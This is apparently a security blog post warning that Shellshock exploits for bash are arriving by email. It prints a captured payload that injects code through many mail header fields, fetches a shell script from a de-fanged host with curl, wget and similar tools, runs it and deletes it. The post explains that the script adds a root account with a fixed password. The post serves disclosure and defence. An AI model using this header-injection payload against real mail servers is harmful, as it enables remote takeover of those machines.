Shellshock by mail

We’ve already written about ShellShock, a vulnerability in bash.

Now we patched our systems quickly against it because we were aware that it looked easy to exploit and there were a great many different paths by which a piece of untrusted user input could arrive at a bash shell and exploit it. We’d seen several attacks over the web almost immediately, but now we’ve seen them starting to arrive by email.


To:() { :; }; /bin/sh -c '/bin/sh -c 'cd /tmp ;curl -sO
127.0.0.1/ex.sh;lwp-download http://127.0.0.1/ex.sh;wget
127.0.0.1/ex.sh;fetch 127.0.0.1/ex.sh;sh ex.sh;rm -fr ex.*' &'
&;
References:() { :; }; ...payload...
Cc:() { :; }; ...payload...
Bcc:() { :; }; ...payload...
From:() { :; }; ...payload...
Subject:() { :; }; ...payload...
Date:() { :; }; ...payload...
Message-ID:() { :; }; ...payload...
Comments:() { :; }; ...payload...
Keywords:() { :; }; ...payload...
Resent-Date:() { :; }; ...payload...
Resent-From:() { :; }; ...payload...


I’ve de-fanged the exploit by changing the IP address. The script downloaded adds a root user called inetd with a password of Inetd1!@#, to the machine, neatly giving a remote shell on any machine it succeeds on. The webserver logs will handily hold the IP addresses of all the infected machines. So all you need now is a nasty piece of spamming software to try and send a message through every mail server in the world and you’ve built a spam network consisting entirely of legitimate mailservers, or if you’re a government spying agency – the ability to intercept vast quantities of email with ease.

Note: It’s been commented that this only affects you if your mail server is running as root. That’s not true – imagine that it’s an email for root@the-mail-server-host which goes into a mail filter that calls out to a shell, not to mention depositing root exploits into logfiles that might get processed. There’s a vast number of subtle ways that this could end up in a copy of bash running as root.